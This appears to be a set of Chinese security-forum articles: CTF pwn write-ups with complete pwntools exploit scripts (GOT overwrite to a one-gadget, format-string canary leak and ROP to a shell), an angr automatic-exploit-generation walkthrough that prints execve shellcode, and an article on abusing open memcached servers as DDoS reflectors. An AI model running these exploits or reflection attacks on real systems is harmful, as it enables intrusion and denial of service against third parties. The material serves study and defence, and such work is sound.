v3 = strlen(s);
stack_ptr = &stack;
for ( i = 0; ; ++i )
{
result = i;
if ( i >= v3 )
break;
proceedOpertaion(s[i]);
}
return result;
}
stack是解释器的虚拟栈，用于存放解释器执行过程中的数据，实际位于程序的BSS段。stack_ptr是一个指针，初始指向虚拟栈（实则是bss段的地址），同样也存在BSS段上。
接着看解释器的具体执行代码：
_BYTE **__cdecl proceedOpertaion(char a1)
{
_BYTE **result; // eax
char v2; // ST2C_1
fflush(stdout);
fflush(stdin);
switch ( a1 )
{
case 'a':
result = (_BYTE **)stack_ptr[0];
++*stack_ptr[0];
break;
case 'd':
result = stack_ptr;
--stack_ptr[0];
break;
case 'g':
v2 = getchar();
result = (_BYTE **)stack_ptr[0];
*stack_ptr[0] = v2;
break;
case 'p':
result = (_BYTE **)putchar((char)*stack_ptr[0]);
break;
case 's':
result = (_BYTE **)stack_ptr[0];
--*stack_ptr[0];
break;
case 'u':
result = stack_ptr;
++stack_ptr[0];
break;
default:
exit(-1337);
return result;
}
return result;
}
其语法和Brainfuck相似，共有6种操作，分别是加减指针，加减指针指向的内容，读取输入，打印指针指向的内容。漏洞在于正常来讲，解释器的指针应该只能指向虚拟栈的空间，但显然程序没有对指针做任何的检查。由于没开PIE，所以指针的初始值是已知的，我们可以通过加减随意控制指针，然后通过这个指针进行任意读写。
下来可以通过控制指针，让其指向got表，然后利用打印功能泄露libc的地址。之后想办法弹shel，通过打印功能，我们可以控制putchar函数的参数，但去阅读一下汇编指令，发现这个参数只能是一个char，无法让参数是'/bin/sh'，但我们可以通过这个参数控制eax的值，所以想到用eax=0的one
gadget。我们先用指针的写功能，将got表的putchar函数改为one
gadget。然后再让指针指向一片为0的空间，再调用putchar函数，此时eax恰好为0，能够成功触发one gadget。
### exp
解题思路如下：
1.先修改指针到scanf，泄露libc地址
2.修改指针到putchar，修改putchar地址为one gadget
3.修改指针到一段全为0的空间，通过p触发one gadget 拿到shell
#!/usr/bin/env python
from pwn import *
import sys
context.log_level="debug"
#context.log_level="info"
code=ELF("./es",checksec=False)
context.terminal = ['gnome-terminal','-x','sh','-c']
context.arch = code.arch
if len(sys.argv)>2:
con=remote(sys.argv[1],int(sys.argv[2]))
libc=ELF("./libc.so")
elif len(sys.argv)>1:
libc = ELF(sys.argv[1])
con = code.process(env = {"LD_PRELOAD":sys.argv[1]})
else:
con=code.process()
if(context.arch == "amd64"):
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
def z(commond=""):
gdb.attach(con,commond)
def exploit():
con.sendlineafter("Login: ","admin")
con.sendlineafter("Password: ","password")
code="d"*(0x60-3)+"pd"*4+"g"+"gd"*4
code+=code.count("d")*"u"
code+="p"
#z("b *0x08049587")
#z("b *0x8049574")
con.sendafter("here: ",code)
data=""
data+=con.recv(1)
data+=con.recv(1)
data+=con.recv(1)
data+=con.recv(1)
libc.address=u32(data[::-1])-libc.symbols['__isoc99_scanf']
success("Libc: "+hex(libc.address))
one_gadget=0x6729f
#one_gadget=0x5fbc5
addr=p32(libc.address+one_gadget)[::-1]
con.send(addr)
exploit()
con.interactive()
## storage
本地考查 栈溢出，格式化字符串漏洞
### 题目分析
> Arch: i386-32-little
> RELRO: Partial RELRO
> Stack: No canary found
> NX: NX enabled
> PIE: No PIE (0x8048000)
这题是个静态链接的程序，实际开了canary保护。
这题是一个文件系统，有六个功能
> Select option:
>
> 1. Download file
> 2. Upload file
> 3. List files
> 4. Sign file
> 5. Add file info
> 6. View file info
> 7. Exit
>
>>
分别是展示文件，添加文件，显示文件列表，对文件签名，添加文件信息，展示文件信息。
由于程序的小功能比较多，这边只展示有漏洞的函数了。
首先由于程序会对文件名做一个过滤，过滤了`/`和`.`,所以显然无法直接通过目录穿越去读文件。我们先标一下系统函数，然后逐个功能审计一下，发现添加文件信息功能有问题。
unsigned int addinfo()
{
char *v0; // eax
char *v1; // eax
int v2; // ecx
unsigned int result; // eax
unsigned int v4; // et1
int file; // [esp+4h] [ebp-244h]
int v6; // [esp+8h] [ebp-240h]
int v7; // [esp+8h] [ebp-240h]
int v8; // [esp+8h] [ebp-240h]
char v9; // [esp+Ch] [ebp-23Ch]
char v10[32]; // [esp+1Ch] [ebp-22Ch]
char v11[128]; // [esp+3Ch] [ebp-20Ch]
char v12[128]; // [esp+BCh] [ebp-18Ch]
char v13[256]; // [esp+13Ch] [ebp-10Ch]
unsigned int v14; // [esp+23Ch] [ebp-Ch]
v14 = __readgsdword(0x14u);
sub_8049088(v11, 0, 128);
printf("Enter the filename: ");
flush(stdin);
flush(off_80F84BC);
sub_8053050("%16s", (unsigned int)&v9);
sub_804AAB8(&v9);
if ( !sub_804A9E5(&v9) )
{
puts("[-] File is not exist!");
sub_8051FC0(-1234);
}
v0 = &v11[strlen(v11)];
*(_DWORD *)v0 = 1868983913;
*((_WORD *)v0 + 2) = 47;
sub_8049060(v11, &v9);
v1 = &v11[strlen(v11)];
*(_DWORD *)v1 = 1718511967;
*((_DWORD *)v1 + 1) = 2020879983;
*((_WORD *)v1 + 4) = 116;
file = open(v11, "w");
if ( file )
{
printf("Enter the file owner name: ");
flush(stdin);
v6 = read(0, v10, 512);
if ( v6 > 0 )
{
v10[v6] = 0;
writeintofile(v10, file);
}
printf("Enter the file create date: ");
flush(stdin);
v7 = read(0, v12, 512);
if ( v7 > 0 )
{
v12[v7] = 0;
writeintofile(v12, file);
}
printf("Enter the file owner name: ");
flush(stdin);
v8 = read(0, v13, 512);
if ( v8 > 0 )
{
v13[v8] = 0;
writeintofile(v13, file);
}
close(file);
}
else
{
puts("[-] Error in file open!");
}
v4 = __readgsdword(0x14u);
result = v4 ^ v14;
if ( v4 != v14 )
sub_8074200(v2);
return result;
}
这里调用了read功能三次，大小都是512，但是栈上对应的buff的空间都不足512。而且最后一次从输入中读取内容到v13时，v13的大小只有256，而且v13离canary很近，可以利用这个漏洞直接栈溢出，修改返回地址进行ROP。
要做栈溢出，还需要泄露canary的值以绕过canary保护。我们再审计程序中所有的输出功能，发现在文件签名过程中有一个printf的值是和我们的输入相关的。看一下文件签名的过程：
signed int sign()
{
int v0; // eax
signed int result; // eax
int v2; // ST04_4
int v3; // ecx
unsigned int v4; // et1
int i; // [esp+8h] [ebp-300h]
signed int j; // [esp+Ch] [ebp-2FCh]
signed int k; // [esp+10h] [ebp-2F8h]
int v8; // [esp+14h] [ebp-2F4h]
int v9; // [esp+18h] [ebp-2F0h]
int v10; // [esp+1Ch] [ebp-2ECh]
char v11; // [esp+20h] [ebp-2E8h]
char v12; // [esp+7Ch] [ebp-28Ch]
char v13[16]; // [esp+8Ch] [ebp-27Ch]
char v14[16]; // [esp+9Ch] [ebp-26Ch]
char v15[16]; // [esp+ACh] [ebp-25Ch]
int v16; // [esp+BCh] [ebp-24Ch]
__int16 v17; // [esp+C0h] [ebp-248h]
char v18; // [esp+C2h] [ebp-246h]
char v19[512]; // [esp+FCh] [ebp-20Ch]
unsigned int v20; // [esp+2FCh] [ebp-Ch]
v20 = __readgsdword(0x14u);
printf("Enter the filename: ");
flush(stdin);
scanf("%16s", (unsigned int)&v12);
sub_804AAB8(&v12);
v16 = 1701603686;
v17 = 12147;
v18 = 0;
sub_8049060(&v16, &v12);
v8 = open(&v16, "rb");
if ( v8 )
{
for ( i = 0; ; ++i )
{
v9 = sub_8055660(v8);
if ( v9 == -1 )
break;
v19[i] = v9;
}
v19[i] = 0;
close(v8);
printf("Enter the signer name: ");
flush(stdin);
scanf("%16s", (unsigned int)v13);
printf("filedata: %s\n");
flush(stdin);
sub_804AE40(&v11);
v0 = sub_8070780(v19);
sub_804AB90(&v11, v19, v0);
sub_804AD20(v14, &v11);
printf("File hash: ");
flush(stdin);
for ( j = 0; j <= 15; ++j )
{
v2 = (unsigned __int8)v14[j];
printf("%02x");
}
v10 = sub_8070780(v13);
for ( k = 0; k <= 15; ++k )
v15[k] = v13[k % v10] ^ v14[k];
printf("\nFile sign: ");
printf(v15);
putchar(10);
result = flush(stdin);
}
文件签名的计算过程大概是先通过某个算法对文件的内容算一个哈希，然后把哈希值和我们输入的signer
name做一个异或运算，然后用prinf打印计算出的字符串。由于signer
name是我们可控的，所以我们可以完全控制printf输出的内容，长度为16字节，存在格式化字符串漏洞，我们可以利用其泄露栈上的canary。
最后由于这个程序是静态链接的，我们可以在程序里直接找到system/execv的地址，和'/bin/sh'字符串的地址，而不需要泄露libc。
### exp
解题思路：
1. 利用格式化字符串漏洞泄露canary
2. 利用栈溢出，覆盖return address，部署rop
3. 触发rop， getshell
#!/usr/bin/env python
from pwn import *
import sys
context.log_level="debug"
#context.log_level="info"
code=ELF("./storage",checksec=False)
context.terminal = ['gnome-terminal','-x','sh','-c']
context.arch = code.arch
if len(sys.argv)>2:
con=remote(sys.argv[1],int(sys.argv[2]))
#libc=ELF("./libc.so")
elif len(sys.argv)>1:
libc = ELF(sys.argv[1])
con = code.process(env = {"LD_PRELOAD":sys.argv[1]})
else:
con=code.process()
if(context.arch == "amd64"):
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
def z(commond=""):
gdb.attach(con,commond)
def exploit():
con.sendlineafter("Login: ","admin")
con.sendlineafter("Password: ","admin")
con.sendlineafter("> ","2")
con.sendlineafter("filename: ","aa")
con.sendlineafter("data: ","a")
filehash="60b725f10c9c85c70d97880dfe8191b3".decode("hex")
payload="%195$p\x00"
signname=""
for i,x in enumerate(payload):
signname+=chr(ord(x)^ord(filehash[i]))
con.sendlineafter("> ","4")
con.sendlineafter("filename: ","aa")
con.sendlineafter("name: ",signname)
con.recvuntil("File sign: ")
canary = int(con.recvline().strip(),16)
con.sendlineafter("> ","5")
con.sendlineafter("filename: ","aa")
con.sendlineafter("name: ","aa")
#z()
con.sendlineafter("date: ","aa")
system = 0x8052CF0
sh = 0x080C7B8C
con.sendlineafter("name: ","a"*0x100+p32(canary)+p32(0)*3+p32(system)+p32(0)+p32(sh))
exploit()
con.interactive() | 社区文章 |
# 基于 angr 的漏洞利用自动生成之缓冲区溢出案例分析
## 前言
本文将结合 angr 官方提供的示例 [insomnihack_aeg](https://github.com/angr/angr-doc/tree/master/examples/insomnihack_aeg) 展示基于 angr
的简单自动利用生成，分析各个步骤并介绍相关接口。通过阅读本文，可以对 angr 和简单 AEG 有进一步的认识。
相关源文件在 [**insomnihack_aeg**](https://github.com/angr/angr-doc/tree/master/examples/insomnihack_aeg) 中。
`demo_bin` 为二进制程序，`demo_bin.c` 为源代码，`solve.py` 是自动生成 exploit 的脚本
## 程序分析
首先分析一下程序源代码 [demo_bin.c](https://github.com/angr/angr-doc/blob/master/examples/insomnihack_aeg/demo_bin.c) ，该程序有一个明显缓冲区溢出。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char component_name[128] = {0}; #buffer 大小为 128
typedef struct component {
char name[32]; # length 只有 32，小于 128
int (*do_something)(int arg);
} comp_t;
int sample_func(int x) {
printf(" - %s - recieved argument %d\n", component_name, x);
}
comp_t *initialize_component(char *cmp_name) {
int i = 0;
comp_t *cmp;
cmp = malloc(sizeof(struct component));
cmp->do_something = sample_func;
printf("Copying component name...\n");
while (*cmp_name)
cmp->name[i++] = *cmp_name++; # 缓冲区溢出
cmp->name[i] = '\0';
return cmp;
}
int main(void)
{
comp_t *cmp;
printf("Component Name:\n");
read(0, component_name, sizeof component_name);
printf("Initializing component...\n");
cmp = initialize_component(component_name);
printf("Running component...\n");
cmp->do_something(1); # 调用函数
程序定义了结构体 `component`，包含两个成员变量，`char` 类型的 `name`, 长度为 32，还有函数指针
`do_something`。另外，定义了全局变量 `component_name`，长度为 128。通过 `read` 函数读取数据到
`component_name` 中，再拷贝到结构体的 `name` 中， **此时会造成堆溢出，可以覆盖函数指针** 。
## 利用思路
该例子不考虑其他安全机制，可以直接在缓冲区存放 `shellcode`, 再修改函数指针为指向 `shellcode` 的地址，即可实现利用。
人工构造比较简单，接下来我们结合该程序分析自动利用的过程。
## 自动利用生成
常规上，自动利用生成分为以下几个步骤
1. 漏洞挖掘：通过符号执行探索程序路径，判断是否符合漏洞约束。通过该步骤，到达可利用状态或发生 Crash
2. 可利用状态或 crash 分析：分析此时寄存器状态，内存布局
3. 设置利用约束：根据漏洞利用技术设定约束
4. 约束求解，生成 `exploit`：主要针对输入值进行求解
接下来我们结合 [solve.py](https://github.com/angr/angr-doc/blob/master/examples/insomnihack_aeg/solve.py) 脚本进行解读。
首先初始化项目
p = angr.Project(binary)
binary_name = os.path.basename(binary)
extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY} # 设置 State 的选项
es = p.factory.entry_state(add_options=extras)# 获得从入口点运行的 State
sm = p.factory.simulation_manager(es, save_unconstrained=True) # 初始化simulation_manager
指定 `save_unconstrained` 选项为true，保存 无约束状态，存储在 unconstrained stash 中。
angr 中对于 `unconstrained` 状态的描述：
> with the instruction pointer controlled by user data or some other source of
> symbolic data。
此外获得入口点状态时设置了 `REVERSE_MEMORY_NAME_MAP` 和 `TRACK_ACTION_HISTORY`选项。
* `REVERSE_MEMORY_NAME_MAP`: 保留内存地址的信息
> Maintain a mapping from symbolic variable name to which addresses it is
> present in, required for `memory.replace_all`
* `TRACK_ACTION_HISTORY`: 记录模拟执行状态的 ACTION
> track the history of actions through a path (multiple states).
### 漏洞挖掘及状态分析
# find a bug giving us control of PC
l.info("looking for vulnerability in '%s'", binary_name)
exploitable_state = None
while exploitable_state is None:
print(sm)
sm.step() # Step a stash of states forward and categorize the successors appropriately.
if len(sm.unconstrained) > 0: # 找到未约束状态
l.info("found some unconstrained states, checking exploitability")
for u in sm.unconstrained:
if fully_symbolic(u, u.regs.pc): #判断是否为可利用状态
exploitable_state = u #获得可利用状态
break
# no exploitable state found, drop them
sm.drop(stash='unconstrained') #删除 unconstrained stash 中的状态
def fully_symbolic(state, variable): # 判断 state 的 variable 是否为符号化
'''
check if a symbolic variable is completely symbolic
'''
for i in range(state.arch.bits): #总共需要判断 arch.bits 位
if not state.solver.symbolic(variable[i]): # 判断variable[i]是否为符号化
return False
return True
初始化项目之后，我们获得 `SM(Simulation Managers)`，不断调用 `sm.step()`
进行路径探索以找到无约束（`unconstrained`）状态，继而判断无约束状态是否可利用，即判断寄存器 pc
是否为符号值。若是，这代表我们可以控劫持控制流，该状态可利用，跳出循环。如果未约束状态无法利用，则调用 `drop` 接口移除状态，继续调用
`sm.step()`探索路径。
关于 `step()` 和 `drop()` 接口：
step(stash='active', n=None, selector_func=None, step_func=None, successor_func=None, until=None, filter_func=None, **run_args) #单步执行 stash 中的 state, 默认 active
Step a stash of states forward and categorize the successors appropriately.
The parameters to this function allow you to control everything about the stepping and categorization process.
drop(filter_func=None, stash='active') #移除stash 中的 state, 默认为 active
Drops states from a stash. This is an alias for move(), with defaults for the stashes.
完成漏洞挖掘后，获得可利用状态 ep。
ep = exploitable_state
assert ep.solver.symbolic(ep.regs.pc), "PC must be symbolic at this point"
### 构造利用约束
获得可利用状态后，我们根据利用技术构造利用约束，判断该状态是否满足。
首先调用 `find_symbolic_buffer` 获得 `symbolic buffer` 列表
def find_symbolic_buffer(state, length): # 获得 symbolic buffer 列表。
'''
dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user's
control
'''
# get all the symbolic bytes from stdin
stdin = state.posix.stdin
sym_addrs = [ ]
for _, symbol in state.solver.get_variables('file', stdin.ident):
sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables))))
for addr in sym_addrs:
if check_continuity(addr, sym_addrs, length):
yield addr
`state.solver.get_variables()` 获得内存中的符号变量。
> `get_variables(*keys)`
>
> Iterate over all variables for which their tracking key is a prefix of the
> values provided.
>
> Elements are a tuple, the first element is the full tracking key, the second
> is the symbol.
`state.memory.addrs_for_name()` 返回包含符号变量的内存地址。
> `addrs_for_name`( _n_ )
>
> Returns addresses that contain expressions that contain a variable named n.
`state.posix.stdin`为传入程序的全部符号变量
def check_continuity(address, addresses, length): # 检查一段连续的地址空间是否为符号化
'''
dumb way of checking if the region at 'address' contains 'length' amount of controlled
memory.
'''
for i in range(length):
if not address + i in addresses:
return False
return True
获得 `symolic_buffer` 思路思路：找出所有的符号地址，存在 `sym_addrs` 数组中，遍历数组中每一个地址
addr，判断与该地址相邻的地址是否在 `sym_addrs` 数组中。即`[addr,addr+length]` 区间的每个地址是否都在
`sym_addrs` 中，如是，则为一段连续的符号化空间，即 symbolic buffer。
# keep checking if buffers can hold our shellcode
for buf_addr in find_symbolic_buffer(ep, len(shellcode)): # 调用 find_symbolic_buffer 获得 symbolic buffer
l.info("found symbolic buffer at %#x", buf_addr)
memory = ep.memory.load(buf_addr, len(shellcode)) # 获取 buffer
sc_bvv = ep.solver.BVV(shellcode) #将 shellcode 转成 bitvector 类型
# check satisfiability of placing shellcode into the address
if ep.satisfiable(extra_constraints=(memory == sc_bvv,ep.regs.pc == buf_addr)):
l.info("found buffer for shellcode, completing exploit")
ep.add_constraints(memory == sc_bvv) # 约束 1
l.info("pointing pc towards shellcode buffer")
ep.add_constraints(ep.regs.pc == buf_addr) # 约束 2
break
else:
l.warning("couldn't find a symbolic buffer for our shellcode! exiting...")
return 1
获得 `symbolic buffer` 列表后，判断其中的 buffer 是否满足利用约束，如果可以满足，则添加约束到 ep(可利用状态)
，最后进行约束求解。这里漏洞利用约束有两个:
1. 缓冲区可以存放 `shellcode` （`memory == sc_bvv`)
2. pc 值可以指向 `buffer` 地址(`ep.regs.pc == buf_addr`)
### 约束求解，生成 exploit
filename = '%s-exploit' % binary_name
with open(filename, 'wb') as f:
f.write(ep.posix.dumps(0))
print("%s exploit in %s" % (binary_name, filename))
print("run with `(cat %s; cat -) | %s`" % (filename, binary))
return 0
`posix.dumps(0)` 即使用对标准输入（文件描述符为 0）进行约束求解，获得满足约束的输入值。
`posix.dumps(0)` 相当于：
my_stdin_file = my_state.posix.files[0] #stdin file descriptor
all_my_bytes = my_stdin_file.all_bytes() #all bytes in file
myBytesString = my_path.se.eval(all_my_bytes,cast_to=str) #Solve bytes, convert to string
最后会获得 `demo_bin-exploit` 文件，包含可以成功利用程序的输入。
### 测试
可以调用脚本的 `test()` 函数, 测试是否成功生成利用
assert subprocess.check_output('(cat ./demo_bin-exploit; echo echo BUMO) | ./demo_bin', shell=True) == b'BUMO\n'
### 运行
接下来，我们可以看一下脚本的运行过程
`python solve.py demo_bin` 运行脚本
或者使用 ipdb 进行调试
python -m ipdb solve.py demo_bin
调试命令与 gdb 类似，b 设置断点，c 继续运行，n 单步运行，s 步进
ipdb> c
<SimulationManager with 1 active>
> /home/angr/angr-doc/examples/insomnihack_aeg/solve.py(70)main()
68 print(sm)
69 sm.step()
2--> 70 if len(sm.unconstrained) > 0:
6 71 l.info("found some unconstrained states, checking exploitability")
72 for u in sm.unconstrained:
我们查看 sm 中的状态，@ 后面为当前状态 eip 的值，即 `state.regs.eip`
ipdb> sm.active
[<SimState @ 0xc000048>, <SimState @ 0xc000048>, <SimState @ 0x80485a2>, <SimState @ 0x80484ce>, <SimState @ 0x90512d0>, <SimState @ 0x8048360>, <SimState @ 0x80484ad>, <SimState @ 0x8048592>, <SimState @ 0x9067b40>, <SimState @ 0x8048380>, <SimState @ 0x8048582>, <SimState @ 0x8048529>, <SimState @ 0x8048504>]
ipdb> sm.deadended #deadended 存储无法继续执行的 state.
[<SimState @ 0xc000048>, <SimState @ 0xc000048>, <SimState @ 0xc000048>]
ipdb> sm.active[0]
<SimState @ 0xc000048>
找到 `unconstrained` 状态：
ipdb> l
66 exploitable_state = None
67 while exploitable_state is None:
68 print(sm)
69 sm.step()
70 if len(sm.unconstrained) > 0:
6--> 71 l.info("found some unconstrained states, checking exploitability")
72 for u in sm.unconstrained:
3 73 if fully_symbolic(u, u.regs.pc):
74 exploitable_state = u
75 break
76
ipdb> sm.unconstrained
[<SimState @ <BV32 0x800 .. packet_0_stdin_81_1024[759:752] .. packet_0_stdin_81_1024[767:760]>>]
步进 `fully_symbolic` 函数，
> /home/angr/angr-doc/examples/insomnihack_aeg/solve.py(20)fully_symbolic()
18 '''
19
---> 20 for i in range(state.arch.bits):
21 if not state.solver.symbolic(variable[i]):
22 return False
ipdb> variable
<BV32 0x800 .. packet_0_stdin_81_1024[759:752] .. packet_0_stdin_81_1024[767:760]>
到达可利用的状态，输出查看，`BV32 Reverse(packet_0_stdin_81_1024[767:736])` 为 eip 的值，完全符号化。
80 l.info("found a state which looks exploitable")
4 81 ep = exploitable_state
82
---> 83 assert ep.solver.symbolic(ep.regs.pc), "PC must be symbolic at this point"
84
85 l.info("attempting to create exploit based off state")
86
87 # keep checking if buffers can hold our shellcode
88 for buf_addr in find_symbolic_buffer(ep, len(shellcode)):
ipdb> ep
<SimState @ <BV32 Reverse(packet_0_stdin_81_1024[767:736])>>
接下来，获得 `symbolic buffer,` 访问 memory，设定利用约束
> /home/angr/angr-doc/examples/insomnihack_aeg/solve.py(91)main()
89 l.info("found symbolic buffer at %#x", buf_addr)
5 90 memory = ep.memory.load(buf_addr, len(shellcode))
---> 91 sc_bvv = ep.solver.BVV(shellcode)
92
93 # check satisfiability of placing shellcode into the address
ipdb> memory
<BV176 packet_0_stdin_81_1024[1023:848]>
输出获得 `buffer` 地址为 `0x804a060`
ipdb> hex(buf_addr)
'0x804a060'
在 IDA 中查看，发现 `0x804A060` 为 `component_name` 地址。
.bss:0804A060 component_name db ? ; ; DATA XREF: sample_func+D↑o
.bss:0804A060 ; main+1D↑o ...
.bss:0804A061 db ? ;
.bss:0804A062 db ? ;
.bss:0804A063 db ? ;
.bss:0804A064 db ? ;
.bss:0804A065 db ? ;
最后运行到约束求解。获得 `exploit` 部分，输出查看
ipdb> ep.posix.dumps(0)
b'jhh///sh/bin\x89\xe31\xc9j\x0bX\x99\xcd\x80\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01`\xa0\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
我们可以看到生成的 exploit 内容，即 `shellcode+padding+shellcode_addr`
从而达到覆盖 `do_something` 函数指针为 `shellcode` 地址的目的。
### 验证 exploit
(angr) angr@f6839fc38468:~/angr-doc/examples/insomnihack_aeg$ (cat ./demo_bin-exploit; echo BUMO) | ./demo_bin # 获得 shell 后执行命令 echo BUMO
Component Name:
Initializing component...
Copying component name...
Running component...
- BUMO #可以输出 BUMO
- recieved argument 1
将 `demo_bin-exploit` 中的内容传给 `demo_bin` 程序即可 getshell，使用 `echo BUMO`
进行测试，发现成功进行利用。
## 总结
本文章结合官方示例粗略地展示了简单 AEG 的利用过程。该用例是简单的缓冲区溢出，首先通过符号执行获得未约束状态，再通过判断指令寄存器 pc
值来确定该状态是否可利用，寄存器pc为符号值代表可以劫持控制流。获得可利用状态后，构造利用约束，判断状态的可满足性，最后进行约束求解，生成
`exploit`。
如何根据漏洞类型恰当地设置路径约束/漏洞约束，探索程序crash/可利用状态。并结合漏洞利用技术构造利用约束是解决此类问题的关键。
## 参考资料
1. <http://angr.io/api-doc/>
2. <https://ma3k4h3d.top/2019/01/09/insomnihack-aeg/>
3. <https://www.reddit.com/r/securityCTF/comments/8nyft5/angr_posixdumps/> | 社区文章 |
# 【技术分享】旧瓶装新酒——memcache作为DRDOS反射放大器
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **张鲁@360 0kee
team**](http://bobao.360.cn/member/contribute?uid=2515404114)
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**0x00 关于DRDOS反射攻击**
作为DDOS，也有各种流派，有大力出奇迹的DDOS远控集群，有以巧取胜的反射放大，也有精巧的LOT僵尸网路。这里我们只讨论udp反射DRDOS.
[DRDOS](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)靠的是发送大量带有被害者IP地址的UDP数据包给放大器主机，然后放大器主机对伪造的IP地址源做出大量回应，形成分布式拒绝服务攻击。
黑客往往会选择那些响应包远大于请求包的udp服务，这样就可以四两拨千斤。
**攻击流程**
要完成一次反射放大攻击：可以简化成下面三个环节。
作为攻击者，需要伪造IP。发送海量伪造来源的请求。未采取[BCP38](http://www.bcp38.info/index.php/Main_Page)的机房。(firewall
rules and uRPF)
作为反射服务器：需要满足2个条件，第一上面运行着容易放大的udp协议，指的就是那些使用不当或设计不当的udp服务，能够满足特定条件下，响应包远远大于请求包。第二个条件就是，该协议或服务在互联网上有一定的使用量，比如dns，ntp等基础服务。
受害者，由于ddos的意图，受害者一般是金融，游戏，政治等目标。不过也有单纯搞破坏或炫技的。
**常见协议**
上图是近三个月来，打反射ddos比较流行的协议，数据来源于[360网络安全研究院](https://ddosmon.net/insight/)。
可以看到，NTP，DNS等古老的协议，依然占据反射ddos的半壁江山。
这里比较新颖的是9.29号时，cldap的攻击数量暴涨，且大部分攻击的来源端口都是26383。所以有可能是地下黑客的一次实战测试，或是地下市场的ldap攻击工具开始流传.
**攻击强度**
****
上图是近年来比较大型的DRDOS攻击数据，可以看到放大的流量是越来越大，现在是动辄上百G，而放大的协议有DNS,NTP等古老的协议，也有比较新型的SSDP,CLDAP,MSSQL等。
但攻击强度是怎么计算的呢？决定因素又是什么？
一般是用pps和bps这2个指标来比表示DDOS的攻击强度。
**pps: packets per second** (每秒的数据包个数，主要是消耗服务器，网关，路由等设备的CPU性能)
**bps: bits per second** (每秒的带宽量，单位是小b，主要是消耗带宽，通常约定按bps表示强度)
比如阿里云被D，发现有邮件告诉你遭到了5G的混合DDOS，已友情将你的ip黑洞。
而腾讯云被D，有时候会短信告诉你遭到了100wPPS的DDOS，已友情将你的服务器进行清退。
而对DRDOS的攻击强度，主要是由放大器数量和放大强度决定的。
$$BPS = Amplifiers * Amplification Factor ( 1 )$$
我们这里有个不严谨的公式，就是Spoof带宽不受限制时，单一DRDOS的攻击强度和放大器数量乘以平均放大倍数成正相关的。
**放大系数(Amplification Factor)**
****
根据我们上面的公式，攻击流量是由放大倍数和放大器的数量决定的。 我们先看一看常见协议放大倍数。 NTP，557倍，CHARGEN
358倍，DNS和LDAP都是50倍左右，ssdp是30倍。 但这些放大倍数，是怎么得出的呢？下面我们简单分析下背后的原理：
1\. ntp是123端口校对时间的服务。放大参数是monlist，主要用于监控 NTP 服务器，可以同步的最后 600 个客户端的
IP，响应包是请求包的500多倍。所以放大倍数就是响应包大小／请求包大小。(也有另外一种计算方法，传输层的大小也计算进去)
2\. 而Ldap是未授权的用户，可执行一些基本的请求，如查询组织机构，最后造成了55倍的放大效果。
**放大器数量(Amplifiers)**
上图是全网不同类型的的放大器数量。数据来源于某机构，扫描时间是今年10月。 放大器千万级的有sip，百万级的有dns.ntp,rpc,ssdp等。
结合之前实际攻击比例可以发现，ntp和dns由于海量的分布，所以攻击占比非常高。
而分布较少的ldap，mssql等，由于出色的放大倍数和优良的网络，实际攻击也有不错的效果，
**攻击策略和条件**
结合前面的数据，我们可以发现，实际攻击要么是利用放大倍数高的协议，要么是用分布广泛的基础服务。通过监控放大器数量和更新放大倍数(比如新型协议支持,DNS的edns)，我们就可以得到大概的攻击强度.
为了提高反射放大的流量。我们可以采取以下策略。
我们可以研究那些通用的UDP协议，这样就可以获取海量的放大器。
然后就是挖掘放大倍数高的协议，这样就可以以最小的成本获得最好的反射效果。
当放大器和放大倍数都到达瓶颈后，我们就需要更高的带宽来发送伪造请求包，这里可以全球分散部署这些服务器。
**0x01 关于Memcache**
**定义**
Memcached它是基于一个存储键/值对的内存对象缓存系统，常用于动态Web应用以减轻数据库负载。性能优越，在互联网上使用量巨大。
**常见攻击面**
从协议看，memcache同时监听tcp和udp。且数据接口容错性强，tcp上有很多ssrf攻击的案例。另外由于支持udp，天然满足了反射ddos攻击条件。
另外我们注意到：memcache大部分是作为企业应用的组件，常常具有很高的上传带宽。
而最重要的是memcache **不需要认证** 就可以随意交互。
而很多用户编译安装时，错误的监听了 **0.0.0.0** ,且未设置iptables或云安全组。
**放大系数**
在我们的调试之下，memcache的放大倍数可以稳定在5w倍以上，最高达到50w倍。
**攻击链**
扫描端口和服务
抓取指纹，获取未认证的memcache
过滤出可以反射回来的udp memcache
**0x02 实战攻击**
全网memcache放大器预估
shodan搜索查看
从tcp协议上看，Memcache全网开放的主要分布在中美，其次是香港，法国，日本，印度等。开放的数量为116534，在10w级别左右。
**exploit**
进行一系列的操作后，获取可以成功放大的memcache主机ip。
**攻击强度和演示**
我们随机选择了一台可利用的主机(digital ocean)，进行ddos放大测试，ddos目标为我们的aws
ec2(扛D)，发现反射流量最大达到了700m/s,稳定在500m/s. 而全网可以利用的主机数量在5w以上。
而仅仅是memcache这样一个协议，就可以造成很可观的放大效果，像这样的协议其实还有很多。
最大攻击效果计算：
**100M(企业服务器的平均上传流量，主要为国外) * 5w <= 5T (上1T应该是没问题的)**
**0x03 影响范围**
**Top 20 ASN 信息**
从asn信息上看，可简单分为下面四类：
– ec2: aliyun,tencent,aws,azure,google cloud
– vps: digital ocean,linode,vultr,godaddy
– dedicated server: ovh,online
– idc: 一些idc。
从市场份额上看：
